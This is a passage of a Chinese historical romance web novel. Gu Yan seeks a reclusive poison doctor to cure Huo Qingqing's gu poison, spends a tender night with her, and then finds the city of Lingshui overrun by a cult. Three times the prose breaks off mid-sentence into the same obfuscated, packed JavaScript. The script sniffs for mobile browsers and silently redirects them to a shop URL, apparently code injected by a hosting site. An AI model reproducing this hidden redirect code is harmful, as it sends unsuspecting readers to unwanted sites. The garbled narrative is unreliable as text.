霍青青低头看着他给自己系披风的手,轻声道:“顾衍,你是不是有事瞒着我?” 顾衍的手一僵,有些无可奈何起来:“霍姑娘总这么聪明。” 他将霍青青抱起,大步行至卧房。 霍青青看着他扣住自己的手携她在榻边坐下,似是觉得有趣一般把玩着她的手,握在手中轻轻摩挲。 一室的沉寂里,他终于开口。 “我让伍行去寻了些消息,世外谷你可听过?” 世外谷…… 霍青青手指微屈反扣住顾衍的手。 世外谷乃是天下人向往之地,若入世外谷,则跳出人间事再不遇情愁。 据闻世外谷,便是一处山水桃源,是隐在尘世之间的一方清净地。那传闻至今,已有百载。 顾衍抬手搂在她腰间,笑道:“我去去便回,霍姑娘可得等我。” 见霍青青不言语,顾衍心下一紧,将她拥得更紧些:“最迟不过明年春日,若是方便,我再给霍姑娘带上些有意思的东西。” “往那方去,会途经蜀地,听闻蜀地人噬辣,霍姑娘可要试试?” 霍青青心底轻叹。 她早时也知晓世外谷里有个毒医。此人乃用毒高手,只是性情刁钻脾气古怪,然那世外谷在何处也少有人知。 可那世外谷哪里是这么好找到的?十三楼找了这么些时候,线索也少之又少。再者,传闻中的毒医更不知还在不在。 如今顾衍要往世外谷,何尝不是想帮她握住那点微末又渺茫的希望。 冬日将至,风中带了寒意。屋外的树叶早落,只余下斑驳枯瘦枝干,在风中微动着,萧瑟又寂寥。 “等冬过了,便是春。” 顾衍拢住她的指尖,一点点将她搂到怀里。 他的声音落在霍青青耳中,平缓且轻。 “我曾以为,这一辈子就这么过了。”他搂在霍青青腰间的手缓缓收紧,勾住她腰间的佩环,带出点清脆碰撞声。 “两年前,我义父贺乾谋反与安平王遗子往来的事情败露。那时,我还是个百户。” 顾衍叹息着,轻轻靠在霍青青肩上,闭目接着道:“义父教给我很多。他说朝堂之上无亲朋,更何况是锦衣卫。他在指挥使的位置上坐了这么久,深知朝堂之中风云暗涌。” “他教导我,告诉我该如何在朝堂上活下来。他谋反是事实,于我有再造之恩亦是事实。” 霍青青的指尖落在他脸侧,听着他的声音带着几分无力。 “他不止是想谋反,而是……想将安平王遗子当做棋子。”顾衍轻轻蹭上她的指尖,感受着那一点熟悉的凉意。 “我便是他的弃子。” “那日在贺府里,我问他为什么,他说人人都想往上爬,爬上顶端掌生杀之权。” “可是到了最后,我的刀也没下去。因为我知,他反,亦是为了活下去。” “当年,他势力冒头,又逢明顺帝朝堂洗牌,人人自危。他反还能搏一线生机。” “安平王遗子,非我所杀。我到之时,只剩下贺乾拿着刀坐在堂上等我,而安平王遗子,已被割首。” “我本那时不敌他,他就握住我的刀刃,带着那把刀扎入胸口。” “他最后又同我说,他早活够了。料到会是我前去,那便全当是用他的命为我铺条路。” “帝王多疑,只是当时正是用人之际。贺乾是我所杀,又非我所杀。” “贺乾死后,许多人骂我忘恩负义。可……那又如何呢?南镇抚司里,他的党羽尤其多,我就挨着剪掉一一拔除。” “是他教我,朝堂之上无亲朋。” 说完,顾衍便如释重负一般笑出来:“如今,我却觉得,这些事不该再压在心里,该说给霍姑娘听听。” “我也未曾想过,能想同一个人走下去。” “只要有一线生机,我就想试试。” “我家霍姑娘, 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疾风骤雨跟他俩不对付,他俩每次来,定然会被疾风骤雨用利爪招呼一顿。 这俩打又打不得,宋无忧和伍行只能干瞪眼。 霍青青这些时日养好了些,有时倚在廊下看着他们打打闹闹的,也觉得有些烟火气。 今日也下了大雪,雪积起来能没过足踝。 晨起时天色好,天空澄净得很。 疾风骤雨在空中盘旋许久才落下来,它们没敢落在霍青青身上,便落在地上张开翅膀跑。 霍青青见它们傻乎乎的模样叹了口气,让锦屏把它们抱起来放在石桌上。 又将一盘生肉推给它们。 百无聊赖里,她取了一根枯草上下撩疾风,疾风总歪头躲来躲去。 最后直扑到她怀里乱蹭。 霍青青被它逗笑了,抱起它站在院里,微仰着头看向天空。 不多时,空中飘起细雪。 锦屏赶忙过来给她撑了把伞。 “姑娘回去吧,外面寒。这雪恐怕晚些会下大。” 霍青青这才恍惚着想起,似是已过了两月有余,再有一月,便该是年节了。 这些时日她没出过几次门,想必外间已开始布置着等过年了。霍府年年都布置得晚,待宫中年节夜宴也是要去的。 她又看了许久的雪,才让锦屏抱起骤雨,将它们都放回自己屋中养着。 这般冷的日子里,它们在外面也受凉。它们乖巧得很,在屋内不会吵闹。 十三楼这些时日给的消息少,她也能歇下来。 手中多是兰浔整理好的需要她决断的东西,白沙关那方,将离说南羌像是疯了,隔三差五便带着一骑不知名的游骑扰边关城镇。几次下来,他斩落许多。只是今岁又被他们绊住,不能回京都同她过这个年节。 除此之外,还有些零散的……顾衍的消息。 霍青青一页页看完,提着笔给兰浔批下那些信件,又提笔给雁将离写上一封家书。 她放下笔,看向窗外。 外间的雪扑簌簌地落下来,飘扬着飞了几粒落在桌案上,很快化成一小滩雪水。 今岁府中梅花好,锦屏与其他人一起摘了许多来做梅花酿,今岁酿的酒只待明年,便可喝了。 霍青青过着自己在南方庄子时的日子,将很多思绪都埋到心底。瞧着还是那个心思灵透什么都不放心上的霍姑娘。 可顾衍,却在数着日子过。 61.春光好 他数着日子,应当快至年节。他已到了世外谷半月有余。 京都那方想来已落了大雪,霍姑娘定然会喜欢在窗边看书赏雪。 往年宫中摆宴,他也去,去了也就喝喝酒跟自己的人呆在一处。只是今岁,霍姑娘应当也会去。霍姑娘酒量不好,也不知有没有人看着她。 亦不知京都今岁有多冷,霍姑娘有没有听他的话抱着她的暖手炉子在府中好好呆着。 世外谷里四季如春,草木依旧是郁郁葱葱的模样,一条溪流蜿蜒而过,溪边草青青,还有几点零星野花。 顾衍一袭利落的黑色骑装半蹲在溪边清洗着背篓里的草叶。 “小顾今天也在帮那老头儿洗草药啊。” 有一老妪背着衣物来这边洗刷,见着他乐呵着打了个招呼。 这小顾是前些日子来世外谷的,还是自己找来的。也不知是怎的找到的,他刚来时埋汰得很,就只有那张脸看着好看。 那日里一堆人来瞧稀奇,要知道世外谷已避世百载,已经好些年不曾有外人自己进来了。要是进谷,那得是从山崖上跌下来或是有缘人才肯放了。 许多年前,她还是个小姑娘的时候,一路逃荒出来,被人逼到上边悬崖边上,失足落下来。 幸而被崖壁上横生的树拦了几番,最后落下来被谷里那个活神仙给捡回去医活了。 她一无好友二无子女,没有投奔的地方,也就在这谷里住了下来。 谷里有个活神仙,算起来,今岁得有七十来岁了,还是精神得很。 这小顾来时客客气气地到处问毒医,她许久才反应过来,原来是来找那活神仙的。 只是活神仙脾气古怪,许多人都不会轻易去打搅他。这孩子执着得很,一日问不到就一直找,她看不下去才悄悄给他指的路。 随后,他就在活神仙门口站着,一站就是好几日,不眠不休的。世外谷里许多人都瞧见,活神仙一脚踹开门,将几本书砸给他让他滚去找这书上的草药。 初时,也有谷里的小丫头瞧着他身板正长得好,便靠近点。谁知这小顾躲得快得很,原来他就是为了自己喜欢的姑娘才来寻活神仙。 老妪蹲下身来,理好带来的衣服,看看他洗的草药,指着一簇草药道:“这个找错了。这两个长得像,你要的那草药在无边林里长的多,你怕是还得去重新找找。” 顾衍掏出书来对了好几遍,才发现点细微的不同,他连忙道谢道:“多谢周婆婆了。” 周婆婆摆摆手,只笑他:“我也是见你心诚罢了,我算着再等几日,老神仙就该松口了。” “对了,这么些时候我还没问你那姑娘是个什么病症?” 顾衍的手一顿,将洗好的药草放在溪边石头上晾着,垂下眼睫看着溪流里溅出的几点清水。 “是……蛊毒。” 周婆婆恍然,蛊毒这东西最不好解。她在此住了这几十年了,早听说活神仙早些年在外面被称作毒医,便是用蛊做引,以毒攻毒的解法。 难怪他会寻来世外谷。 蛊毒轻则被慢慢蚕食内里,重则暴毙而亡。 无论何种蛊毒,也都是这两个下场。 周婆婆心底里叹了一口气,活神仙虽叫活神仙,但也不是谁都医,医不医的,都随他高兴。 她也是运气好,才得活神仙救命。 这么些年,她都从未见过活神仙上赶着给别人医治的。 “周婆婆,我便先去寻草药了,再晚些我怕来不及。” 周婆婆点点头:“快去吧。” 顾衍将石头上晾干的草药收好后才往无边林那方赶过去。 从无边林往返,恐怕还要一个时辰,要赶在日落前将这些草药给毒医送去,他怕是还要更快些。 等他从无边林回来,太阳已经落了大半。 木屋里没有动静,顾衍就站在外面等着。 一直到太阳落尽,屋里才传来些响动,接着便有人推门出来。 毒医名唤蔺弃,他扫了一眼背篓里的草药哼出一声,让药童带去整理了。 随后他拢着袖子,朝顾衍道:“你,将东院里那些晒好的药给我磨了。后院里的芍药挖好,再把猪草剁了喂个猪。” 顾衍一一应下。 见他这般,蔺弃便又多吩咐了几句。 顾衍还是答好。 许是觉得烦了,蔺弃将袖子一摔骂道:“你烦不烦?烦了就滚!别在这里碍我的眼。我说了八百遍生死有命,你非要逆了命数,人死就死了,不如等死了再让我看看能不能救活?” “可是……她不该啊。” 顾衍的手垂在身侧,一点点握成拳:“她身上的毒,是娘胎里带来的。” “知道自己身上有毒,还生下子女,那子女便该受着。”蔺弃站在檐下,冷眼瞧着他:“你当蛊毒是那么好解的吗?” 蔺弃冷笑一声:“你以为我这些时日让你日日找草药是干什么?只是为了让你快滚。我说过我不治朝廷中人。” “朝廷里的人……哼。” 蔺弃转身拉开门,却听顾衍重复道:“可是她不该。我不能替她做这个决定,可是……哪怕只有那一线生机,我都想帮她握住。我孑然一身并无牵挂死了就死了,可是她该长命百岁。” “她救济百姓无数,兴办学堂,收留了许多无家可归之人。她才十八岁,她不该被病痛所累,更不该死。” 蔺弃盯着他缓缓道:“那又如何?” 他“啪”的一声关上门,靠在门板上一字一句道:“天下不该死的人多了去了,不止她一人。” “若我没查错,你,是阜州人。”顾衍抬起头,眸中坚定。 他踏前一步,看着蔺弃:“四年前,阜州水患,你曾出谷救人。” 蔺弃嗤了一声:“那又如何?” “我该尊你一声前辈。前辈既曾在四年前出谷救人,那便还有善心。”顾衍慢慢跪下来,他一手撑着地面,长叹道:“还求前辈再出谷,救人一命。” “我不敢替她赌,但求前辈看上一看。” “她这样的人,该好好活下去。” “若前辈往阜州救过人,那便一定见过她。她叫霍青青,阜州水患时,她只有十四岁,她是大煜霍家之后。” “霍家为百姓做过太多事。” “太傅霍书正朝纲,大理寺卿霍承阳为民翻案。霍家霍清风带八万青骑守边关。霍家霍青青……” “曾缴各处匪患,立十三楼收留各处无家可归之人。曾往阜州,同当今二皇子一起治水患救百姓于水火。百姓感念她恩德,建生祠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462707|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,奉香火。” “她不该啊……” “还求前辈破例这一次。” 久久的沉寂里,只余下清风轻送。 蔺弃看着弯下脊背的顾衍许久才开口道:“你说杏林医老束手无策,便找到我,那我就告诉你,他都解不了的毒我至多两成把握。赌赢了就是生,赌输了那就活不过明年。” “你敢赌吗?” 顾衍迟疑起来,他慢慢站起,心尖刺痛起来。 两成把握……他不敢赌。 可……又不愿放弃。 “那……可否请前辈往京都走一趟?” 蔺弃拂袖转过身去:“我老了,也不想出谷。有杏林医老在,不解这毒,她应当还能活好几年。若她要赌,你就将她带来这里。” 说罢,蔺弃便将门关上。 他抽出几本古籍翻看起来,杏林医老都束手无策的蛊毒,只怕是早先失传的禁术。 也不知能不能查到。 翻了许久,蔺弃觉得烦躁得很,索性将古籍一扔就躺回榻上。 当年阜州水患,他孤身一人前往阜州救治伤者。他从泥沼里挨着把人拖出来。 阜州是他出生的地方。 那时水患死伤太多,随处可见百姓的尸首。他怕涝后瘟疫,便在阜州呆了两月有余。 记忆里好像是有个小姑娘,穿着一身青衣穿行在受伤的百姓中。她带来许多人先是垒水坝,后来又帮着百姓重建分发粥饼吃食,连轴转了好几日,跟那朝中来的少年人一起商讨对策。 最后,那少年人都得听着她的跟着她日日转悠。 从水患那一地狼藉到建好庇护之所,只花了大半月。 他从阜州走时,新的堤坝已修建好。 才两月便能修建出那等堤坝,所需的人力财力难以想象。 如今听着这小子这么一说,他倒是也想起来,阜州水患虽伤亡不小,但很快就被治住。 因着人力物力财力都够,汤药备得齐全,才没有疫病蔓延。 他也听过,阜州后来新建了生祠,里面供的就是那时候的小姑娘。 阜州的百姓,数万啊…… 也罢。 蔺弃睁开眼,坐起来捡了那几本古籍继续翻看。 他得依着病症好好筛筛是哪些蛊毒,这般才好做事。 连着查了两日,蔺弃终于推开门。 一推开门就瞧见顾衍在院里晾晒新的草药,他嘴角抽了抽,一时不知道是骂这个小子傻还是说他太老实。 他一块石子打在顾衍脚边,骂了句:“滚滚滚,别在这儿碍眼。” 顾衍朝他一礼道:“那晚辈便先告辞了。” 他走出没几步,就听着蔺弃说:“出谷行北,正北为生。入谷下崖,朝南而行。” “好了,滚吧。” …… 等顾衍到京郊时,他的步子慢下来。 绕过守城的御林军,再绕回镇抚司里让影卸去伪装。 等到马蹄踏在往霍府的青石街上,顾衍才觉着春日是真的来了。 京都烟柳正新发,带了朦胧春色的柳枝在那春风里摇曳着生出千般姿态。顾衍来不及一一看过,只匆匆一瞥。 他纵马而行,低伏在马背上拍拍破月的脖子:“去找她。” 62.映月光 顾衍在霍府门前勒马。 他轻巧地翻下马,拍拍破月的背。破月会意,自己踏进霍府找飞雪去了。 门房见是顾衍,也并未拦他,只说因着前些日子走了几番宴席,姑娘有些累着了,这个时辰还未起。 顾衍点点头,思来想去又觉着自己这一身沾染了尘土,方才该一并换了。 他朝霍姑娘的院子看了一眼才走出霍府。 等他回了顾府,才见宋无忧在府中,他挑眉道:“你来府中,所谓何事?为何没在镇抚司?” 宋无忧忧心忡忡地递予他一封密报:“是伍行。前些日子陵水动荡,我们安在陵水的人折损了十余,他便先行带人去查了。这封密报,是前日传回的,也不知当下如何了。” “陵水?”顾衍面色一肃,接过密报拆开。 陵水是险要之地,霍清风的青骑便驻扎在离陵水不远的滏南关。若是陵水动荡大,他定然会留意。 可方才影呈予他的朝事中并未提及陵水。 顾衍心中一凛,如此说来,这些人恐怕是冲着他手下的人来的。 密报所说,伍行一路追查,查至滏南关才断了线索,这一路上遇到许多举止怪异的人。可是一时,又毫无头绪。 既是伍行亲自前去,那他定然是知道了什么不同寻常的地方。 “你将那边传来的消息整合成卷宗送来霍府。” 话落,顾衍又觉不妥,他叫住宋无忧:“算了,你同我回一趟镇抚司。” “那霍姑娘那边……” “此事与她无关,你莫多说话。让他们嘴也严点,我晚些书信一封留予她。若是陵水危急你且调人随我走一趟,切记莫让霍姑娘知晓。”顾衍打断他的话,若是陵水危急他恐怕还得赶紧前去。 “可若是霍姑娘想查,老大,你也瞒不过啊。”宋无忧跟在他身后无奈的很。 陵水离滏南关本就近,若是闹大了又如何瞒得过霍姑娘? 且不说十三楼遍布大煜消息灵通,就是那方驻守的霍清风定然也会前往。 顾衍叹出一口气:“那便能瞒几时算几时,霍姑娘如今累不得,便别让她走远路。” “她这些时日可还好?” 宋无忧心底暗说顾衍当真是一门心思都是霍姑娘,嘴上答道:“霍姑娘这些时日养好了不少,春日才常常进出霍府。年节时候,她还请了我和伍行上霍府喝酒。” 顾衍微微点头,他家青青想来还是将他的话记着的。 等二人到得镇抚司,宋无忧看着翻看案宗的顾衍,犹豫再三还是大着胆子问道:“老大,你不去看看霍姑娘吗?” 顾衍才压下去的情绪又被他翻出来,他握住案宗的手收紧,将许多话压了又压,才缓缓道:“若是陵水当真危急,我去见了她之后如何能走?” 他将一摞文书收起来,又将别的案宗整理好。 陵水一事,那些人像是凭空出现一般。 伍行传回的密报字迹凌乱,可确是他的字迹。 他说陵水恐怕有长生教余孽,且是冲着锦衣卫来的。 那十余人都是顾衍安在陵水两年余的亲信。 因陵水地处北蛮边境,这等边关城池较为特殊。虽有霍清风守关,但也需知晓动向。如今伤的便是他的手眼,他如何能坐视不理? 再者,这十一人也都是有名姓牙牌的锦衣卫中人,他须得上报圣上后再亲自前去陵水。 十一人…… 顾衍将手中案宗掷在桌上。 长生教到底想做什么?仅仅是扰乱民间为自己造势?那宋世荣如今在朝堂上还稍稍消停点,它们却又起来了。 当真是不让人好过。 许久,顾衍提起笔,落笔时又犹豫,思量许久,他终是只写了在那世外谷时毒医同他说的话。 他写完才松了一口气,那便就写这一页罢。 待晚些,便该差人给霍姑娘送去了。 他家霍姑娘太聪明,他不敢写太多,怕她看出些别的东西。 顾衍将笔收好,他恐怕要亲自去一趟陵水。 若当真是长生教余孽,那他便动手清理了。 若不是,那他也要为那些死去的兄弟们讨一个公道,给他们一个交代。 …… 信比顾衍先到霍府。 顾衍轻巧地翻上围墙,便见霍姑娘卧房里还点着灯。 橘色的灯火映出一个轮廓模糊的人影。 顾衍能看出来,今日的霍姑娘还未拆发髻。 她绾了一个松些的发髻,拿着一页纸坐在窗边的桌案上。 霍姑娘总爱穿轻便简单的衣服,寻常里出门也不爱繁复的配饰,在家中时也是如此。 霍姑娘还是应当在霍府里,闲来无事时逛逛园子,在霍府中随意走走。霍府比他那顾府好许多,没那么冷清。 顾衍这一看便是许久。 他本想此次回来就多寻些时候同霍姑娘呆着。可天不遂人愿,陵水那事牵扯太大,他还需亲自前去。 若当真是长生教余孽卷土重来,他当将青青从漩涡里摘出。 等到霍姑娘房里灯火熄了,顾衍才悄然行至霍姑娘屋檐下。 春日里风很轻,带着一点点沁人的凉意。他一袭玄色绣银骑装站在屋檐下看着外间敞亮月光。 他歇不了多久的,等明日天亮,宋无忧点好人先行一步,他便又要启程。 这么久未见,他又怕见霍姑娘了。 顾衍叹息着轻靠在廊下柱子上,他便在这里,守到天明罢。 夜里听着霍姑娘许是不好眠,在榻上辗转反侧,顾衍的手抬起又放下。如此好几番,顾衍垂下眼睫,下意识摩挲着腰间绣春刀刀柄。 等到天将亮时,顾衍欲走,却听见屋子里霍姑娘剧烈地呼吸着。 他动作极快地推开窗,手一撑便翻了进去。 霍青青费了许多力气才睁开眼,挣扎着半爬起来取了床头放着的白玉瓶从里面倒出一丸药吞下去才觉得好些。 恍惚着觉得天色暗下来,她的手撑在榻上歇了许久才抬起头。 她瞧见那个玄衣利落的身影时才带着笑道:“顾大人何时回来的?” 顾衍沉默着坐到榻边,将她揽到自己怀里,抬手将她散落下来的鬓发别到耳后。 他不知如何开口。 只缓缓将她抱紧。 霍青青靠在他怀里,桃花眼微眯,伸手攥住他的衣襟,指尖微微触在他的脖颈间带去一点凉意。 “顾大人怎么不说话?” 她的指尖从衣襟探进去,在他胸口游移,手下是他温热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489554|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉。 顾衍按住她的手,一点点将头埋在她的颈窝:“我不知说什么。” 他的声音带着压抑着的情愫,压得太久,他的声音飘渺而沙哑:“霍姑娘是不是有事瞒着我?” “没什么大碍,是顾大人太过担忧了。” “霍姑娘,你骗我。”顾衍干燥温热的唇擦过霍青青的耳畔,在她耳边轻声控诉着。 霍青青战栗一瞬,很快搅起他垂落下来的发笑道:“我哪里敢骗顾指挥使?我说无碍,那便是无碍。只是这些时日有些惊梦。” “顾大人回来不告知我,那便是不想见我了。” 霍青青叹了一口气,伸手就要将顾衍推开。 顾衍抱着她不肯放,抬手攥住她的手腕,随后便是细密的吻落在她腕间和手心里,撩得人心里忽悠悠的痒。 他靠在霍青青耳边无奈道:“霍姑娘怎的恶人先告状?” “那顾大人且说说,既回来了,为何不来见我?”霍青青推开他,又骤然将他推倒在榻上,撑在他上方定定地瞧着他。 顾衍抬手扣住她的腰,将她扶稳。 看着霍姑娘只着了一件单薄春衣撑在他上方,他呼吸一窒,随后别过头去小声道:“没来得及……” 霍青青看着他那绯红的耳垂,伸手拍拍他的面颊:“顾大人这不是也骗人吗?” 说罢,她便要翻身下榻。 顾衍握住她的手臂将她带倒在他怀里,低声道了句:“别走。” 被霍姑娘这么一撞,他体内热血翻涌起来,紧紧扣住她的腰,脸在她耳边蹭了又蹭,喃道:“我想见你的。” “我是想见你的。” 他重复着,小心翼翼地吻上霍青青的唇角后辗转着吻在唇上试探着勾起她的舌尖。 霍青青的手抚上他的下颌,指腹抹过他的唇畔,带着笑意问道:“那顾大人为何不早些来?” 顾衍未答,只将滚烫的吻落在各处。 末了,他扣住霍姑娘的手,在她肩头低低喘/息着,他近乎崩溃地咬在她肩头,又收去力道,只轻轻在她肩头厮磨。 “青青……”他口中喃喃着,最后将头抵在她的胸口:“再等等,我又该走了。” 霍青青恍然,抬手抚上他的发,声音轻浅:“可要我帮你?” 顾衍耳垂更烫了,连带着面颊都烫起来,他低低吟了一声,把他的霍姑娘抱得更紧。 许久才答道:“不要。” “我去去就回了,霍姑娘真的好好养着等我好不好?”他微微松开手,方才力道大了些,霍姑娘定然难受了。 “等我回来,就让人挑日子上霍府来提亲。” “等霍姑娘再养好一点,我就带霍姑娘去世外谷。可我不敢赌。他说只有两成把握,我害怕。” 霍青青静静听着,手落在他脊背轻轻拍着:“我都不怕,顾大人怕什么?” 顾衍抬起头,望进她的眼中。 那双桃花眼里有天光微漾,隐约映着他的模样。他身子紧绷着,微微撑起来些,又颓唐地落下去。 像是要把她融进骨血里,他又把她紧紧抱住。他看着霍姑娘在笑,那双好看的桃花眼里带出浩荡风骨。 霍姑娘,什么都不怕。 他有霍姑娘在,那便也不怕了。 63.赴陵水 霍青青随手将衣襟往上提了提便推开门,差人去找来宋无忧去顾府上寻一套新的衣物。 宋无忧来得快,霍青青接过来便要关门。 宋无忧狐疑地看着她半晌,才恍然大悟般哦了一声,压低声音问道:“老大是不是……” 他话音未落,一支毛笔就从屋里飞出来,差点砸上他脑门儿。 霍青青抱着衣物有些好笑起来:“宋大人既然将东西送到了,那便去外面等着顾大人吧。” 他再呆着,屋里的顾衍怕是要同他翻脸了。 宋无忧忙不迭点点头,却不忘朝着屋里喊上一声:“那我去给老大备马了。” 又是一支毛笔掷出来。 宋无忧将这支笔接下,同方才那支一起递给了霍青青,朝着她挤眉弄眼:“我就先走一步,再呆着老大回头怕是要打我一顿好的。” 霍青青含笑点头,进去后将门给关好。 顾衍自里间走出来。 他面带恼意,耳垂红得几欲滴血。 霍青青轻笑一声将衣服在一旁放好,伸手捧住他的脸,在他唇上亲了一下:“喏,他走了。别生气了顾大人,先换身衣服。” 顾衍伸手拿了衣服,闷闷道:“下次在霍姑娘这里放两件。” “这还不简单?”霍青青翻了翻,没有皮尺,只得先随手捡了三根丝绦。 顾衍无奈的很,伸手将她按住:“等我换身衣服。这身衣服穿着……不自在。” 他说完,便抱着衣服绕到屏风后面。 霍青青绕着丝绦,听着屏风那边传来窸窸窣窣的声响,一手撑着下颌一边在心底里笑着顾大人。 顾大人如今是有那心没那胆啊,一来怕她身子不好受不住,二来比她守规矩多了非说不到时候。 顾大人这般……挺可爱的。 她也未曾想,顾大人竟是这样的顾大人。 她方才倒也没客气,那般撩拨他。只后面瞧着顾大人将那些心思压了又压,又觉得心疼,才停了手。 她家顾大人啊…… 霍青青不由笑出声,恰逢顾衍换好衣服从屏风后绕过来。 他自是知晓霍姑娘在笑什么,无奈之下只得俯下身。 “霍姑娘,别笑了。”他在唇齿间低语,又流连许久才把霍姑娘抱起来放在桌案上。 他伸手将霍姑娘方才弄皱的衣物都抚平,又细细抹过他留下来的痕迹,眉头蹙了蹙。 “方才……没收住力道,这般出去,怕是不好。”他指腹轻轻摩挲着那几处痕迹,微红的痕迹在霍姑娘白皙的脖颈间太过刺目。 霍青青的手落在他脸侧,笑道:“无碍的,我只在府中,也不常出去。如今虽是春日,但也寒凉,将领口往上提些也可。” 顾衍站起身,将桃花金簪给她簪好,才又将她抱住。 霍青青听着他带着笑意的声音从头顶传进她耳朵里。 “若是有人问起,我承认便是了。但我还是想再等等。我知道霍姑娘不在乎那些,可我在乎。” “霍姑娘再等等,等我回来。” 他说完,极快地松开手,然后转身离去。 只几息的功夫,他就已出了房门。 霍青青愣住片刻,旋即笑出来。 她家顾大人是怕她被那些流言蜚语中伤,才说出方才那番话。她确是不在乎的,但是顾大人既在乎,那便如他的愿吧。 …… 夜间的官道静得很,忽有一阵马蹄踏过。 为首一人玄衣翻飞,墨发高束。 他伏于马背之上,眼眸微眯,手握一把长刀死死盯住前方。 前方隐约可见一点火光,照亮了半边天。自那方随风送来的厮杀声不断,他手中的刀握得愈发紧。 “破月,再快点。” 破月嘶鸣一声,在月色之下越发快了。 还未至近处,顾衍一撑马背飞跃而下,手中另取一把刀掷出,朝着一身着红衣戴鬼面的长生教教众袭去。 长刀穿透教众的心口,他才携刀落在地面站定。 他只睨了地上瑟瑟发抖的人一眼便转身欲走。 地上的人猛地爬起来,一把抓住他的衣摆:“大侠,大侠别去,那方闹山匪死了好多人。陵水城……陵水城中已被妖人制住。” 顾衍望向那方火光,手中的刀刃映出一丝清冷带着火色的月光。 “那我便,为民除害。”他将自己的衣摆从他手中抽出来。吹出一声马哨,破月应声而来。 他利落翻上马背扬长而去。 百余人就这般自那人眼前踏过,待马蹄声渐远,那人才回过神自地上挣扎着爬起来。 陵水匪患近日闹得凶,还似不止是山匪。纵然府衙已上报朝廷,另差人寻守关将领霍清风大将军,也不知为何寻不来人。 朝中和边关都无人前来,匪患便愈发猖獗。 她是前些日子被山匪掳来的。 只今日夜里,似有一队人马炸开山寨。为首一人不过二十余岁的年纪,他带着人强闯山寨。手中火药威力巨大,当先炸开山寨大门,又炸了牢门,他们才得以借机逃出。 她顺着官道一路奔逃,奈何被一妖人追上。 好在……方才那个大侠及时赶到救了她一命。 她又将怀里的东西看了又看,见那东西完好才放下心来。 只歇息了片刻,她就爬起来,一定……要快些将这些东西送出陵水地界安稳送入京都才是。 …… 顾衍带着人疾行,终是赶到了火光来处,此处四处焦黑山寨已淹没在一片火海里。 环顾四周,也并未发现伍行身影。 破月马蹄变缓,踏在一片狼藉之上,载着顾衍行在火海之中。四方皆寂,唯有因大火燎灼发出的木头断裂之声。 这方如此大的动静,霍清风又为何不曾知晓? 陵水郊外如此动荡,那陵水城中又是何模样? 太过寂静了,静得人心底发毛。 顾衍握紧手中绣春刀翻身下马,缓缓蹲下身去。 被血浸透的泥地里,埋着一块牙牌。 ——伍行。 他将牙牌提起来抖落上面的泥土,霍然起身看向随他来的宋无忧。 “你且在此止步,带几个人想法子找上十三楼,同他们说,长生教余孽盘踞陵水,陵水……已陷。” 宋无忧神色复杂地看着他手中伍行的牙牌,转而看向顾衍:“老大,我若是留在这里,你还有助力。不若让其余人前去。” “不行。”顾衍站起身,看向夜空。 夜空之上,乌云已蔽月。 他遥遥望向站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499293|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在远处自己养出来的死士,轻哼一声,垂下眼睫看着自己腰间佩的青玉坠。 “其余人恐怕递不出消息。为今之计,只有你带人杀出去。伍行这方不能再耽搁了,如此大费周章残杀无辜就为引我前来恐怕背后没那么简单亦不能留你在此徒增伤亡。待我先行查探,须得先救出伍行再衡量其他。” 宋无忧一咬牙:“老大,我去去就回,你且当心。” 末了,他勒转马头回来,同顾衍道了一句:“霍姑娘还在京都等着老大你去提亲的。” 顾衍点点头:“我知晓。” 待宋无忧走后,顾衍带着人往陵水城中赶去。 既陵水已危,那便走不得城门了。 顾衍命人暂驻林中,于林中弃马,轻拍着破月的脖子道:“自己藏好,晚些来接应我。” 破月偏头看他,用头蹭在他身上。 顾衍无奈地摸着它的头:“听话。” 等他安顿好一切,天色已将亮。 他借着仅存的夜色,悄然攀上城楼。 城楼之上,是寻常穿着守城军军服的兵士,他们迎着日出而站,脸在点燃的火把中透出诡异青黑。 春日乍寒的风里,卷起一丝难闻的腥臭味儿。 是他熟悉的,诏狱里那股子伴着血肉腐烂的味道。 没有生机。 顾衍心中一寒,在城墙一角以刀柄拦上一个守城军。 那守城军立时摔在地上,四分五裂。那血肉早已腐烂,只余下一层空壳。 自他的血肉里,顾衍看到一只只挣扎扭动的虫子,也有在徐徐展翅的血色的蝶。 顾衍屏息翻进城中,他行在黑暗里,一袭玄衣融进白日城关的阴影中。街上安静得可怕,只余下春日里细微的风声。 什么都没有,没有人声、没有鸟鸣,这里家家户户门口都挂着红白灯笼,灯火早灭,那空灯笼就在孤寂的春风里摇曳着,生出许多姿态来。 远处酒家的幡飘扬着,连带着底下几条长长的白布穗子在春风中鼓动。 